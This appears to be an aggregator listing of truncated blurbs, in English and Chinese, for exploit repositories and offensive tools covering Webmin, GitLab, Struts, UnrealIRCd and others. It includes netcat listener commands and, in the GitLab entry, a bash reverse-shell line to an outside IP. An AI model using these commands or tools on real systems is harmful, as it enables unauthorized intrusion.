Webmin_CVE-2019-15107

CVE-2019–15107 - Unauthenticated RCE Webmin =1.920 This python script should give you a root shell on Webmin 1.890 Check with nmap: nmap -sC -sV -p 10000 TARGETIP Result: 10000/tcp open http MiniServ 1.890 Webmin httpd How to use this exploit: Step 1: nc -lnvp LPORT Step 2: chmod +x exploit.py...

kippo

注意：对于更近期的开发，请查看 Michel Oosterhof 的分支 Kippo Kippo 是一个中等交互的 SSH 蜜罐，旨在记录暴力破解攻击，以及最重要的是，攻击者执行的全部 shell 交互。 Kippo 的灵感来源于，但并不基于 Kojoney。 演示 下面是一些来自运行中的 Kippo 安装的有趣日志（可通过 Ajaxterm 在网页浏览器中查看）。请注意，自这些日志记录以来，某些命令可能已得到改进。 2009-11-22 2009-11-23 2009-11-23 2010-03-16 功能特性 一些有趣的功能： 具有添加/删除文件能力的虚拟文件系统。包含一个模仿...

magicRecon

MagicRecon: Fast, simple and effective MagicRecon is a powerful shell script to maximize the recon and data collection process of an objective and finding common vulnerabilities, all this saving the results obtained in an organized way in directories and with various formats. With Magic Recon you...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

notionterm

notionterm 在Notion 页面中嵌入反向Shell。 边记笔记边攻击 适用 ➕： 隐藏攻击者反向Shell的IP （攻击者和目标机器之间无直接交互，通过Notion作为托管反向Shell的代理） 在报告中快速演示/插入PoC 高可用且可共享的反向Shell（桌面、浏览器、移动端） 加密和认证的远程Shell 不适用 ➖： 长时间交互式Shell会话（参见 tacos） 为什么？ 🤔 重点在于制作一个既有趣又实用的工具，但并非旨在成为渗透测试人员武器库中反向Shell的终极解决方案。 怎么做？ 🤷‍♂️ 像往常一样使用Notion，并在目标上运行notionterm。 要求 🖊️...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image root@kitploit: import os payloads= "echo 'bash -i...

citrixInspector

CVE-2023-3519 Inspector The cve20233519inspector.py is a Python-based vulnerability scanner for detecting the CVE-2023-3519 vulnerability in Citrix Gateways. It performs a passive analysis and fingerprinting of target websites to assess their vulnerability based on a series of checks. Recent...

CVE-2016-2098-PoC

CVE-2016-10033-PoC Wrote this for PentesterLab If you are from PentesterLab's don't cheat, it's alot better to learn. Hope it's useful to someone, if not to me in the future : Has interactive shell, nice argparse stuff asw Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy...

CVE-2016-10033-PoC

CVE-2016-10033-PoC Wrote this for PentesterLab If you are from PentesterLab's don't cheat, it's alot better to learn. Hope it's useful to someone, if not to me in the future : Has interactive shell, nice argparse stuff asw Usage root@kitploit: usage: poc.py -h --target TARGET --backdoor BACKDOOR...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m...

unrealircd3.2.8.1-local-exploit

Tested on Metasploitable 3 USAGE Ruby On Attacker's shell root@kitploit: nc -nlvp 1111 On victim's shell root@kitploit: ruby exploit.rb 127.0.0.1 Expected output on attacker's shell root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Pytho...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC Proof of consept for CVE-2018-17431 Exploit Title: Comodo Firewall & Central Manager UTM All Release before 2.7.0 & 1.5.0 Remote Command Execution Web Shell based Exploit Author: Milad Fadavvi Vendor Homepage: https://www.comodo.com/ Software Link:...

CVE-2023-31702

CVE-2023-31702 — eScan Management Console SQL Injection Authenticated Overview CVE-2023-31702 is an authenticated SQL Injection vulnerability discovered in MicroWorld Technologies eScan Management Console version 14.0.1400.2281. The vulnerability exists in the GetUserCurrentPwd endpoint, where th...

agensic

Know what ran, where, when and who executed it The missing observability layer for AI-powered terminal workflows Signed Provenance Tracked Sessions Git Time Travel Replayable Sessions IDE style Tab Autocomplete Agensic upgrades your existing terminal workflow for the AI era. It is built for...

log4j-shell-poc

This repository does not have a README...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Remote Code Execution RCE Server-Side Template Injection Exploit!! 1. Title Remote Code Execution via Server-Side Template Injection SSTI in Vulnerable Web Application 2. Description This exploit targets a web application vulnerable to Server-Side Template...

CVE-2025-6019

CVE-2025-6019: libblockdev Local Privilege Escalation Vulnerability Summary CVE-2025-6019 is a local privilege escalation LPE vulnerability discovered in the libblockdev library, which interacts with the udisks2 daemon and Polkit. Vulnerability Description A local attacker with allowactive Polkit...

cve-2024-10914-port

CVE-2024-10914 ported to rust and python because why not what is this cve-2024-10914 is a recently discovered 9.8 critical score vulnerability that affects some dlink routers. because those routers reached their eol support, dlink refuses to patch this vulnerability because "stop being poor and...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack These are just some scripts which you can use to detect and exploit the Apache Struts Vulnerability CVE-2017-5638 There is a MassScanner and Exploiter, You can use scanner to Mass Scan a list of URLs and then exploit them by Exploiter. The Exploiter will run arbitrary...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Arbitrary File Upload CVE-2015-6967 requirements python 3 requests usage root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL...